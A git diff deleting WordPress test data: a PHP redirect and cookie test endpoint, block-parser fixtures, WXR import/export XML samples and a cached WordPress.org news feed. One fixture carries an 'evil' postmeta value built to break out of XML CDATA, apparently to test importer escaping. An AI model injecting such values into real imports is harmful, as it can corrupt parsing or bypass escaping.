- header( "HTTP/1.1 200 OK" );
- header( "Location: $url?location-with-200=1&redirection-performed", true, 200 );
- echo 'PASS';
- exit;
- }
- // Redirection was followed.
- echo 'FAIL';
- exit;
-}
-
-if ( isset( $_GET['print-pass'] ) ) {
- echo 'PASS';
- exit;
-}
-
-if ( isset( $_GET['multiple-location-headers'] ) ) {
- if ( ! isset( $_GET['redirected'] ) ) {
- header( "Location: $url?multiple-location-headers=1&redirected=one", false );
- header( "Location: $url?multiple-location-headers=1&redirected=two", false );
- exit;
- }
- if ( 'two' != $_GET['redirected'] )
- echo 'FAIL';
- else
- echo 'PASS';
- exit;
-}
-
-if ( isset( $_GET['cookie-test'] ) ) {
- if ( 'test-cookie' != $_GET['cookie-test'] ) {
- setcookie( 'api_test_cookie', 'value', time() + 365*24*60*60, '/core/tests/1.0/', 'api.wordpress.org' );
- setcookie( 'api_test_cookie_minimal', 'value' );
- setcookie( 'api_test_cookie_wrong_host', 'value', time() + 365*24*60*60, '/', 'example.com' );
- setcookie( 'api_test_wildcard_domain', 'value', time() + 365*24*60*60, '/', '.wordpress.org' );
- setcookie( 'api_test_cookie_expired', 'value', time() - 365*24*60*60, '/', '.wordpress.org' );
- header( "Location: $url?cookie-test=test-cookie" );
- exit;
- }
-
- if ( empty( $_COOKIE['api_test_cookie'] ) || 'value' != $_COOKIE['api_test_cookie'] )
- die( 'FAIL_NO_COOKIE' );
- if ( empty( $_COOKIE['api_test_cookie_minimal'] ) )
- die( 'FAIL_NO_MINIMAL' );
- if ( isset( $_COOKIE['api_test_cookie_wrong_host'] ) )
- die( 'FAIL_WRONG_HOST' );
- if ( empty( $_COOKIE['api_test_wildcard_domain'] ) )
- die( 'FAIL_NO_WILDCARD' );
- if ( isset( $_COOKIE['api_test_cookie_expired'] ) )
- die( 'FAIL_EXPIRED_COOKIE' );
-
- echo 'PASS';
- exit;
-}
-
-
-$rt = isset($_GET['rt']) ? $_GET['rt'] : 5;
-$r = isset($_GET['r']) ? $_GET['r'] : 0;
-
-if ( $r < $rt ) {
- $code = isset($_GET['code']) ? (int)$_GET['code'] : 302;
- header("Location: $url?rt=" . $rt . "&r=" . ($r+1), true, $code);
- echo "Redirect $r of $rt";
- exit;
-}
-echo "Redirect $r of $rt is FINAL. ";
-echo "GET['rt'] = Total times to redirect. Defaults to 5. ";
-echo "GET['r'] = Current redirection. Defaults to 0. ";
-echo "View Source";
-
diff --git a/tests/data/blocks/do-blocks-expected.html b/tests/data/blocks/do-blocks-expected.html
deleted file mode 100644
index f413182..0000000
--- a/tests/data/blocks/do-blocks-expected.html
+++ /dev/null
@@ -1,22 +0,0 @@
-
The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.
The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.
The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.
The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.
Matt Mullenweg, 2017
\n",
- "innerContent": [ "\n
The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.
The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.
The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.
2. Which treats of the first sally the ingenious Don Quixote made from home
\n\n\n\n
These preliminaries settled, he did not care to put off any longer the execution of his design, urged on to it by the thought of all the world was losing by his delay, seeing what wrongs he intended to right, grievances to redress, injustices to repair, abuses to remove, and duties to discharge.
\n
\n",
- "protected": false
- },
- "meta": {
- "spay_email": "",
- "wpop_description": "A heading preceded by a chapter number, and followed by a paragraph.",
- "wpop_keywords": "blog post",
- "wpop_viewport_width": 1000
- },
- "category_slugs": [ "text" ],
- "keyword_slugs": [ "core" ],
- "pattern_content": "\n
\n
2. Which treats of the first sally the ingenious Don Quixote made from home
\n\n\n\n
These preliminaries settled, he did not care to put off any longer the execution of his design, urged on to it by the thought of all the world was losing by his delay, seeing what wrongs he intended to right, grievances to redress, injustices to repair, abuses to remove, and duties to discharge.
2. Which treats of the first sally the ingenious Don Quixote made from home
\n\n\n\n
These preliminaries settled, he did not care to put off any longer the execution of his design, urged on to it by the thought of all the world was losing by his delay, seeing what wrongs he intended to right, grievances to redress, injustices to repair, abuses to remove, and duties to discharge.
\n
\n",
- "protected": false
- },
- "meta": {
- "spay_email": "",
- "wpop_description": "A heading preceded by a chapter number, and followed by a paragraph.",
- "wpop_keywords": "",
- "wpop_viewport_width": 1000
- },
- "category_slugs": [ "text" ],
- "keyword_slugs": [ "core" ],
- "pattern_content": "\n
\n
2. Which treats of the first sally the ingenious Don Quixote made from home
\n\n\n\n
These preliminaries settled, he did not care to put off any longer the execution of his design, urged on to it by the thought of all the world was losing by his delay, seeing what wrongs he intended to right, grievances to redress, injustices to repair, abuses to remove, and duties to discharge.
The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.
-
-As a new WordPress user, you should go to your dashboard to delete this page and create new pages for your content. Have fun!]]>
-
- 2
- 2011-01-18 07:40:14
- 2011-01-18 07:40:14
- open
- open
- sample-page
- publish
- 0
- 0
- page
-
- 0
-
- _wp_page_template
-
-
-
-
- Child Page
- http://localhost/?page_id=4
- Tue, 18 Jan 2011 07:45:50 +0000
- admin
- http://localhost/?page_id=4
-
-
-
- 4
- 2011-01-18 07:45:50
- 2011-01-18 07:45:50
- open
- open
- child-page
- publish
- 6
- 0
- page
-
- 0
-
- _edit_last
-
-
-
- _wp_page_template
-
-
-
-
- Parent Page
- http://localhost/?page_id=6
- Tue, 18 Jan 2011 07:46:09 +0000
- admin
- http://localhost/?page_id=6
-
-
-
- 6
- 2011-01-18 07:46:09
- 2011-01-18 07:46:09
- open
- open
- parent-page
- publish
- 0
- 0
- page
-
- 0
-
- _edit_last
-
-
-
- _wp_page_template
-
-
-
-
- Draft Page
- http://localhost/?page_id=9
- Wed, 30 Nov -0001 00:00:00 +0000
- admin
- http://localhost/?page_id=9
-
-
-
- 9
- 2011-01-18 07:46:29
- 0000-00-00 00:00:00
- open
- open
-
- draft
- 0
- 0
- page
-
- 0
-
- _edit_last
-
-
-
- _wp_page_template
-
-
-
-
- 1-col page
- http://localhost/?page_id=11
- Tue, 18 Jan 2011 07:46:57 +0000
- admin
- http://localhost/?page_id=11
-
-
-
- 11
- 2011-01-18 07:46:57
- 2011-01-18 07:46:57
- open
- open
- 1-col-page
- publish
- 0
- 0
- page
-
- 0
-
- _edit_last
-
-
-
- _wp_page_template
-
-
-
-
- Private Post
- http://localhost/?p=13
- Tue, 18 Jan 2011 07:47:19 +0000
- admin
- http://localhost/?p=13
-
-
-
- 13
- 2011-01-18 07:47:19
- 2011-01-18 07:47:19
- open
- open
- private-post
- private
- 0
- 0
- post
-
- 0
-
-
-
-
-
- _edit_last
-
-
-
-
- Foo-child
- http://localhost/?p=15
- Tue, 18 Jan 2011 07:48:07 +0000
- editor
- http://localhost/?p=15
-
-
-
- 15
- 2011-01-18 07:48:07
- 2011-01-18 07:48:07
- open
- open
- foo-child
- publish
- 0
- 0
- post
-
- 0
-
-
- _edit_last
-
-
-
- Post by
-
-
-
-
- Top-level Foo
- http://localhost/?p=17
- Tue, 18 Jan 2011 07:48:32 +0000
- admin
- http://localhost/?p=17
-
-
-
- 17
- 2011-01-18 07:48:32
- 2011-01-18 07:48:32
- open
- open
- top-level-foo
- publish
- 0
- 0
- post
-
- 0
-
-
- _edit_last
-
-
-
-
- Non-standard post format
- http://localhost/?p=19
- Tue, 18 Jan 2011 07:48:52 +0000
- admin
- http://localhost/?p=19
-
-
-
- 19
- 2011-01-18 07:48:52
- 2011-01-18 07:48:52
- open
- open
- non-standard-post-format
- publish
- 0
- 0
- post
-
- 0
-
-
-
- _edit_last
-
-
-
-
- Many Categories
- http://localhost/?p=22
- Tue, 18 Jan 2011 07:55:01 +0000
- admin
- http://localhost/?p=22
-
-
-
- 22
- 2011-01-18 07:55:01
- 2011-01-18 07:55:01
- open
- open
- many-categories
- publish
- 0
- 0
- post
-
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- _edit_last
-
-
-
-
-
diff --git a/tests/data/export/test-serialized-postmeta-no-cdata.xml b/tests/data/export/test-serialized-postmeta-no-cdata.xml
deleted file mode 100644
index dd75787..0000000
--- a/tests/data/export/test-serialized-postmeta-no-cdata.xml
+++ /dev/null
@@ -1,69 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Test With Serialized Postmeta
- http://test.wordpress.org/
- Just another blog
- Mon, 30 Nov 2009 21:35:27 +0000
- http://wordpress.org/?v=2.8.4
- en
- 1.0
- http://test.wordpress.org/
- http://test.wordpress.org/
-
-My Entry with Postmeta
-http://test.wordpress.org/postemta
-Tue, 30 Nov 1999 00:00:00 +0000
-
-
-
-
-
-
-http://test.wordpress.org/postmeta
-
-
-
-122
-2009-10-20 16:13:20
-0000-00-00 00:00:00
-open
-open
-
-draft
-0
-0
-post
-
-
-post-options
-a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}
-
-
-
-
-
diff --git a/tests/data/export/test-serialized-postmeta-with-cdata.xml b/tests/data/export/test-serialized-postmeta-with-cdata.xml
deleted file mode 100644
index 2fd3923..0000000
--- a/tests/data/export/test-serialized-postmeta-with-cdata.xml
+++ /dev/null
@@ -1,77 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Test With Serialized Postmeta
- http://test.wordpress.org/
- Just another blog
- Mon, 30 Nov 2009 21:35:27 +0000
- http://wordpress.org/?v=2.8.4
- en
- 1.0
- http://test.wordpress.org/
- http://test.wordpress.org/
-
-My Entry with Postmeta
-http://test.wordpress.org/postemta
-Tue, 30 Nov 1999 00:00:00 +0000
-
-
-
-
-
-
-http://test.wordpress.org/postmeta
-
-
-
-10
-2009-10-20 16:13:20
-0000-00-00 00:00:00
-open
-open
-
-draft
-0
-0
-post
-
-
-post-options
-
-
-
-contains-html
-some html]]>
-
-
-evil
-evil]]>
-
-
-
-
-
diff --git a/tests/data/export/test-utw-post-meta-import.xml b/tests/data/export/test-utw-post-meta-import.xml
deleted file mode 100644
index c491f6d..0000000
--- a/tests/data/export/test-utw-post-meta-import.xml
+++ /dev/null
@@ -1,69 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Test With Serialized Postmeta
- http://test.wordpress.org/
- Just another blog
- Mon, 30 Nov 2009 21:35:27 +0000
- http://wordpress.org/?v=2.8.4
- en
- 1.0
- http://test.wordpress.org/
- http://test.wordpress.org/
-
-My Entry with UTW Postmeta
-http://test.wordpress.org/postmeta-utw
-Tue, 30 Nov 1999 00:00:00 +0000
-
-
-
-
-
-
-http://test.wordpress.org/postmeta-utw
-
-
-
-150
-2009-10-20 16:13:20
-0000-00-00 00:00:00
-open
-open
-
-draft
-0
-0
-post
-
-
-test
-a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s:3:"tag";s:7:"wscript";}}
-
-
-
-
-
diff --git a/tests/data/export/valid-wxr-1.0.xml b/tests/data/export/valid-wxr-1.0.xml
deleted file mode 100644
index 587e571..0000000
--- a/tests/data/export/valid-wxr-1.0.xml
+++ /dev/null
@@ -1,282 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Export Dataset
- http://localhost/
- Just another WordPress site
- Wed, 20 Oct 2010 14:10:09 +0000
- http://wordpress.org/?v=3.0.1
- en
- 1.0
- http://localhost/
- http://localhost/
- alpha
- beta
- parent
- uncategorized
- childparent
- chicken
- face
- news
- roar
-
- http://wordpress.org/?v=3.0.1
-
-
- Hello world!
- http://localhost/?p=1
- Wed, 20 Oct 2010 14:08:20 +0000
-
-
-
-
-
-
- http://localhost/?p=1
-
-
-
- 1
- 2010-10-20 14:08:20
- 2010-10-20 14:08:20
- open
- open
- hello-world
- publish
- 0
- 0
- post
-
- 0
-
- 1
-
-
- http://wordpress.org/
-
- 2010-10-20 14:08:20
- 2010-10-20 14:08:20
- To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]>
- 1
-
- 0
- 0
-
-
-
- About
- http://localhost/?page_id=2
- Wed, 20 Oct 2010 14:08:20 +0000
-
-
- http://localhost/?page_id=2
-
-
-
- 2
- 2010-10-20 14:08:20
- 2010-10-20 14:08:20
- open
- open
- about
- publish
- 0
- 0
- page
-
- 0
-
- _wp_page_template
-
-
-
-
- Alpha post
- http://localhost/?p=4
- Wed, 20 Oct 2010 14:09:37 +0000
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- http://localhost/?p=4
-
-
-
- 4
- 2010-10-20 14:09:37
- 2010-10-20 14:09:37
- open
- open
- alpha-post
- publish
- 0
- 0
- post
-
- 0
-
- _edit_last
-
-
-
- _edit_lock
-
-
-
- _wp_old_slug
-
-
-
-
- Child post
- http://localhost/?p=6
- Wed, 20 Oct 2010 14:10:09 +0000
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- http://localhost/?p=6
-
-
-
- 6
- 2010-10-20 14:10:09
- 2010-10-20 14:10:09
- open
- open
- child-post
- publish
- 0
- 0
- post
-
- 0
-
- _edit_last
-
-
-
- _edit_lock
-
-
-
- _wp_old_slug
-
-
-
-
- Child page
- http://localhost/?page_id=8
- Wed, 20 Oct 2010 14:10:35 +0000
-
-
- http://localhost/?page_id=8
-
-
-
- 8
- 2010-10-20 14:10:35
- 2010-10-20 14:10:35
- open
- closed
- child-post
- publish
- 10
- 0
- page
-
- 0
-
- _edit_last
-
-
-
- _edit_lock
-
-
-
- _wp_page_template
-
-
-
-
- Parent page
- http://localhost/?page_id=10
- Wed, 20 Oct 2010 14:10:44 +0000
-
-
- http://localhost/?page_id=10
-
-
-
- 10
- 2010-10-20 14:10:44
- 2010-10-20 14:10:44
- open
- open
- parent-page
- publish
- 0
- 0
- page
-
- 0
-
- _edit_lock
-
-
-
- _edit_last
-
-
-
- _wp_page_template
-
-
-
-
-
diff --git a/tests/data/export/valid-wxr-1.1.xml b/tests/data/export/valid-wxr-1.1.xml
deleted file mode 100644
index cd039e8..0000000
--- a/tests/data/export/valid-wxr-1.1.xml
+++ /dev/null
@@ -1,112 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Export Datasets
- http://localhost/
- Just another WordPress site
- Sat, 16 Oct 2010 20:53:18 +0000
- en
- 1.1
- http://localhost/
- http://localhost/
-
- 2johnjohndoe@example.org
-
- 3alpha
- 22clippable
- 40post_taxbieup
-
- http://wordpress.org/?v=3.1-alpha
-
-
- Hello world!
- http://localhost/?p=1
- Sat, 16 Oct 2010 20:53:18 +0000
- john
- http://localhost/?p=1
-
-
-
- 1
- 2010-10-16 20:53:18
- 2010-10-16 20:53:18
- open
- open
- hello-world
- publish
- 0
- 0
- post
-
- 0
-
-
-
-
- 1
-
-
- http://wordpress.org/
-
- 2010-10-16 20:53:18
- 2010-10-16 20:53:18
- To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]>
- 1
-
- 0
- 0
-
-
-
- About
- http://localhost/?page_id=2
- Sat, 16 Oct 2010 20:53:18 +0000
- john
- http://localhost/?page_id=2
-
-
-
- 2
- 2010-10-16 20:53:18
- 2010-10-16 20:53:18
- open
- open
- about
- publish
- 0
- 0
- page
-
- 0
-
- _wp_page_template
-
-
-
-
-
diff --git a/tests/data/feed/wordpress-org-news.xml b/tests/data/feed/wordpress-org-news.xml
deleted file mode 100644
index 1173c71..0000000
--- a/tests/data/feed/wordpress-org-news.xml
+++ /dev/null
@@ -1,910 +0,0 @@
-
-
-
- News – – WordPress.org
-
- https://wordpress.org/news
- WordPress News
- Tue, 15 Dec 2020 21:02:22 +0000
- en-US
-
- hourly
-
- 1
- https://wordpress.org/?v=5.7-alpha-49801
-14607090
- Introducing Learn WordPress
- https://wordpress.org/news/2020/12/introducing-learn-wordpress/
-
-
- Tue, 15 Dec 2020 13:00:00 +0000
-
-
-
- https://wordpress.org/news/?p=9444
-
-
- Learn WordPress is a learning resource providing workshops, quizzes, courses, lesson plans, and discussion groups so that anyone, from beginners to advanced users, can learn to do more with WordPress. Learning how to use, build for, and contribute to WordPress is essential for anyone wanting to dive deeper into the software and its community.
-
-
-
-
This cross-team initiative is part of the WordPress.org network and features content from contributors from the global community. It will be updated weekly and will help connect new and existing WordPress users with the broader community while they learn.
-
-
-
-
-
-
-
-
What can you learn about WordPress?
-
-
-
-
On Learn WordPress you can find a range of material and opportunities to use at the time which works for you.
-
-
-
-
Workshops are practical, skills-based videos that show viewers how to do new things with WordPress, whether you publish, manage, develop with, or contribute to WordPress. Most workshops include quizzes for you to test your newly gained knowledge.
-
-
-
-
Discussion groups provide an opportunity for further collaborative learning with participants meeting together to discuss the workshop content – they take place online, either in video calls or Slack and accommodate all time zones.
-
-
-
-
Lesson plans are guides for facilitators to use while presenting at events or within educational environments. Facilitators will find learning objectives (telling people what they are going to learn), any prerequisite skills, assets such as screenshots and slide decks, and learning assessments.
-
-
-
-
Courses are a series of interconnected lesson plans to be presented by a facilitator that will strategically focus on defined learning outcomes. Participants can go through these courses individually or as part of a group. After completing the learning, attendees should be able to apply their skills in the real world.
-
-
-
-
In addition to the wealth of valuable content available on Learn WordPress, the platform provides an opportunity for individuals to learn alongside other community members and become connected with a global network of WordPress users, developers, and contributors.
Learn WordPress is an open-source platform available for anyone to contribute content in any areas mentioned above. Find out more about how you can get involved with this initiative.
Hundreds of people spanning a number of years have contributed to the development of learning materials. Thanks to everyone who worked so hard to make Learn WordPress a reality.
For a fuller list of the contributors who have been involved in training and Learn WordPress, visit the initial beta launch post. Thanks to everyone who has been involved to date and will be in the future.
-]]>
-
-
-
- 9444
-
- WordPress 5.6 “Simone”
- https://wordpress.org/news/2020/12/simone/
-
-
- Tue, 08 Dec 2020 19:46:00 +0000
-
- https://wordpress.org/news/?p=9325
-
-
- Meet Simone, our latest and greatest WordPress release. Named for the legendary performer Nina Simone, who is known for tunes like “Feeling Good”, “Young, Gifted and Black”, and “Four Women”. Fire up a playlist with her best work and read on to discover what we have in store for you.
-
-
-
-
-
-
-
-
-
Welcome to WordPress 5.6
-
Sharing your stories has never been easier.
-
-
-
-
-
WordPress 5.6 brings you countless ways to set your ideas free and bring them to life. With a brand-new default theme as your canvas, it supports an ever-growing collection of blocks as your brushes. Paint with words. Pictures. Sound. Or rich embedded media.
-
-
-
-
-
-
-
-
Greater layout flexibility
-
-
-
-
Bring your stories to life with more tools that let you edit your layout with or without code. Single column blocks, designs using mixed widths and columns, full-width headers, and gradients in your cover block—make small changes or big statements with equal ease!
-
-
-
-
More block patterns
-
-
-
-
In some themes, preconfigured block patterns make setting up standard pages on your site a breeze. Let the power of patterns streamline your workflow and save you clicks. Plus, share these features with clients, editors, and more.
-
-
-
-
Better video captioning
-
-
-
-
To help you add subtitles or captions to your videos, you can now upload them within your post or page. This makes it easier than ever to make your videos accessible for anyone who needs or prefers to use subtitles.
-
-
-
-
-
-
-
-
Twenty Twenty-One is here!
-
-
-
-
-
-
-
-
Twenty Twenty-One is a blank canvas for your ideas, and the block editor is the best brush. It is built for the block editor and packed with brand-new block patterns you can only get in the default themes. Try different layouts in a matter of seconds, and let the theme’s eye-catching, yet timeless design make your work shine.
-
-
-
-
What’s more, this default theme puts accessibility at the heart of your website. It conforms to the WordPress accessibility-ready guidelines and addresses several more specialized standards from the Web Content Accessibility Guidelines (WCAG) 2.1 at level AAA. It will help you meet the highest level of international accessibility standards when you create accessible content and choose plugins which are accessible too!
-
-
-
-
A rainbow of soft pastels
-
-
-
-
-
-
-
-
Perfect for a new year, Twenty Twenty-One gives you a range of pre-selected color palettes in pastel, all of which conform to AAA standards for contrast. You can also choose your own background color for the theme, and the theme chooses accessibility-conscious text colors for you — automatically!
-
-
-
-
Need more flexibility than that? You can also choose your own color palette from the color picker.
-
-
-
-
-
-
-
-
Improvements for everyone
-
-
-
-
Expanding auto-updates
-
-
-
-
For years, only developers have been able to update WordPress automatically. But now you have that option, right in your dashboard. If this is your first site, you have auto-updates ready to go, right now! Upgrading an existing site? No problem! Everything is the same as it was before.
-
-
-
-
Accessibility Statement
-
-
-
-
Even if you’re not an expert, you can start letting others know about your site’s commitment to accessibility! The new feature plugin includes template copy for you to edit and publish, and it’s written to support different contexts and jurisdictions.
-
-
-
-
Built-in Patterns
-
-
-
-
If you’ve not had the chance to play with block patterns yet, all default themes now feature a range of block patterns that let you master complex layouts with minimal effort. Customize the patterns to your liking with the copy, images, and colors that fit your story or brand.
-
-
-
-
-
-
-
-
For developers
-
-
-
-
REST API authentication with Application Passwords
-
-
-
-
Thanks to the API’s new Application Passwords authorization feature, third-party apps can connect to your site seamlessly and securely. This new REST API feature lets you see what apps are connecting to your site and control what they do.
-
-
-
-
More PHP 8 support
-
-
-
-
5.6 marks the first steps toward WordPress Core support for PHP 8. Now is a great time to start planning how your WordPress products, services, and sites can support the latest PHP version. For more information about what to expect next, read the PHP 8 developer note.
If you find issues with the way your site looks ( e.g. a slider doesn’t work, a button is stuck — that sort of thing), install the jQuery Migrate plugin.
As always, this release reflects the hard work of 605 generous volunteer contributors. They collaborated on nearly 350 tickets on Trac and over 1,000 pull requests on GitHub.
In addition, many thanks to all of the community volunteers who contribute in the support forums. They answer questions from people across the world, whether they are using WordPress for the first time, or they’ve been around since the first release all the way back in 2003. These releases are as successful as they are because of their efforts!
-
-
-
-
Finally, thanks to all the community translators who helped make WordPress 5.6. available in 38 languages at the time of release. Our community translators are hard at work ensuring more languages are on their way (70 are already at 90%). If contributing to WordPress appeals to you, it’s easy to learn more. Check out Make WordPress or the core development blog.
-]]>
-
-
-
- 9325
-
- State of the Word 2020
- https://wordpress.org/news/2020/12/state-of-the-word-2020/
-
-
- Fri, 04 Dec 2020 22:55:19 +0000
-
- https://wordpress.org/news/?p=9296
-
-
- State of the Word is an annual keynote address delivered by the project co-founder, Matt Mullenweg. This year’s keynote will be streamed on Facebook, YouTube, and Twitter on Thursday, Dec 17th, 2020 at 1600 UTC.
-
-
-
-
-
-
-
-
Have a question?
-
-
-
-
A Question and Answer period with pre-recorded videos will follow State of the Word. To take part, record a video of you asking your question to Matt on your computer or phone (landscape format, please). Do not forget to include your name and how you use WordPress! Try to keep your video to under a minute so Matt can answer as many questions as possible.
-]]>
-
-
-
- 9296
-
- The Month in WordPress: November 2020
- https://wordpress.org/news/2020/12/the-month-in-wordpress-november-2020/
-
-
- Wed, 02 Dec 2020 09:13:48 +0000
-
- https://wordpress.org/news/?p=9283
-
-
- November 2020 saw several updates to the WordPress 5.6 release. Read on to follow all the latest news from the WordPress world!
-
-
-
-
-
-
-
-
Contributor teams released Gutenberg Version 9.3 on Nov. 4 and Version 9.4 on Nov. 18. Both versions include several improvements to Full Site Editing (FSE) flows, in addition to bug fixes and feature upgrades. Version 9.3 is the first release that isn’t included entirely in WordPress 5.6; the version automatically enables FSE experiments when a block-based theme is active. Version 9.4 introduces some new features like percentage width for button blocks, block variation transformations, social icon support, and font size support for the list block. You can find out more about the Gutenberg roadmap in the What’s next in Gutenberg blog post.
Two online WordCamps took place in November: WordCamp Finland Online and WordCamp Mexico Online. You can find Livestream recaps of the events on their websites. Videos will soon be available on WordPress.tv as well.
The Themes team made some changes to WordPress theme requirements. These include removing updated CSS guidelines and a proposed plan to make WordPress themes accessibility-ready. The team is also requesting feedback on the resolution process for issues found in live themes.
WordPress 5.6 will feature a major jQuery change, with the bundled jQuery version being updated to Version 3.5.1 and jQuery Migrate being updated to Version 3.3.2.
Thank you to all of the contributors who tested the Beta releases and gave feedback. Testing for bugs is a critical part of polishing every release and a great way to contribute to WordPress.
-
-
-
-
Plugin and Theme Developers
-
-
-
-
Please test your plugins and themes against WordPress 5.6 and update the Tested up to version in the readme file to 5.6. If you find compatibility problems, please be sure to post to the support forums. That way, those can be figured out before the final release.
-
-
-
-
For a more detailed breakdown of the changes included in WordPress 5.6, check out the WordPress 5.6 beta 1 post. The WordPress 5.6 Field Guide is also out! It’s your source for details on all the major changes.
-]]>
-
-
-
- 9274
-
- WordPress 5.6 Release Candidate
- https://wordpress.org/news/2020/11/wordpress-5-6-release-candidate/
-
-
- Tue, 17 Nov 2020 22:43:50 +0000
-
-
- https://wordpress.org/news/?p=9258
-
-
- The first release candidate for WordPress 5.6 is now available!
-
-
-
-
This is an important milestone in the community’s progress toward the final release of WordPress 5.6.
-
-
-
-
“Release Candidate” means that the new version is ready for release, but with millions of users and thousands of plugins and themes, it’s possible something was missed. WordPress 5.6 is slated for release on December 8, 2020, but we need your help to get there—if you haven’t tried 5.6 yet, now is the time!
-
-
-
-
You can test the WordPress 5.6 release candidate in two ways:
-
-
-
-
Try the WordPress Beta Tester plugin (choose the “Bleeding edge” channel and Beta/RC Only” stream options)
Thank you to all of the contributors who tested the Beta releases and gave feedback. Testing for bugs is a critical part of polishing every release and a great way to contribute to WordPress.
-
-
-
-
What’s in WordPress 5.6?
-
-
-
-
The final release of 2020 continues the annual tradition of a new default theme that is custom built to showcase the new features and functionality of the software. Continued progress on the block editor is especially clear in this release, which brings more blocks to more places, and fewer clicks to implement your layouts.
-
-
-
-
WordPress 5.6 also has lots of refinements to polish the developer experience. To learn more, subscribe to the Make WordPress Core blog and pay special attention to the developer notes tag for updates on those and other changes that could affect your products.
-
-
-
-
Plugin and Theme Developers
-
-
-
-
Please test your plugins and themes against WordPress 5.6 and update the Tested up to version in the readme file to 5.6. If you find compatibility problems, please be sure to post to the support forums, so those can be figured out before the final release.
-
-
-
-
The WordPress 5.6 Field Guide, due very shortly, will give you a more detailed dive into the major changes.
If you think you’ve found a bug, you can post to the Alpha/Beta area in the support forums. We’d love to hear from you! If you’re comfortable writing a reproducible bug report, file one on WordPress Trac, where you can also find a list of known bugs.
-]]>
-
-
-
- 9258
-
- WordPress 5.6 Beta 4
- https://wordpress.org/news/2020/11/wordpress-5-6-beta-4/
-
-
- Thu, 12 Nov 2020 23:49:45 +0000
-
-
- https://wordpress.org/news/?p=9249
-
-
- WordPress 5.6 Beta 4 is now available for testing!
-
-
-
-
This software is still in development, so we recommend that you run this version on a test site.
The current target for the final release is December 8, 2020. This is just over three weeks away, so your help is needed to ensure this release is tested properly.
-
-
-
-
Thank you to all of the contributors that tested the beta 3 development release and provided feedback. Testing for bugs is an important part of polishing each release and a great way to contribute to WordPress.
-
-
-
-
Some Highlights
-
-
-
-
Since beta 3, 42 bugs have been fixed. Here is a summary of a few changes included in beta 4:
-
-
-
-
There was a change to the auto-updates implementation for new installations of the software (#50907). Next steps, and rationale are both available.
Added better handling of unexpected values in Site Health (#50145).
Added a way for developers to filter the available authors list in Quick Edit (#47685).
More accessible handling of the tag cloud widget (#51455).
To see all of the features for each Gutenberg release in detail, check out the release posts: 8.6, 8.7, 8.8, 8.9, 9.0, 9.1, 9.2, and 9.3.
-
-
-
-
Developer notes
-
-
-
-
WordPress 5.6 has lots of refinements to the developer experience. To keep up, subscribe to the Make WordPress Core blog and pay special attention to the developers’ notes for updates on those and other changes that could affect your products.
-
-
-
-
How to Help
-
-
-
-
If you think you’ve found a bug, you can post to the Alpha/Beta area in the support forums. We’d love to hear from you!
The current target for the final release is December 8, 2020. This is just five weeks away, so your help is needed to ensure this release is tested properly.
-
-
-
-
Thank you to all of the contributors that tested the beta 2 development release and provided feedback. Testing for bugs is an important part of polishing each release and a great way to contribute to WordPress.
-
-
-
-
Some Highlights
-
-
-
-
Since beta 2, 20 bugs have been fixed. Here is a summary of a few changes included in beta 3:
-
-
-
-
Added block patterns for Twenty Twenty (see #51098) and Twenty Nineteen (see #51099) themes.
Added theme support for navigation-widgets (see #51445).
Fixed incorrect slashes in the URL if the parent is empty for REST API (see #44745).
Added a test to Site Health to verify that the Authorization header is working as expected for Application Passwords (see #51638).
10 additional bugs fixed in the block editor (see #26588).
-
-
-
-
To see all of the features for each Gutenberg release in detail, check out the release posts: 8.6, 8.7, 8.8, 8.9, 9.0, 9.1, 9.2, and 9.3.
-
-
-
-
Developer notes
-
-
-
-
WordPress 5.6 has lots of refinements to the developer experience as well. To keep up, subscribe to the Make WordPress Core blog and pay special attention to the developers’ notes for updates on those and other changes that could affect your products.
-
-
-
-
How to Help
-
-
-
-
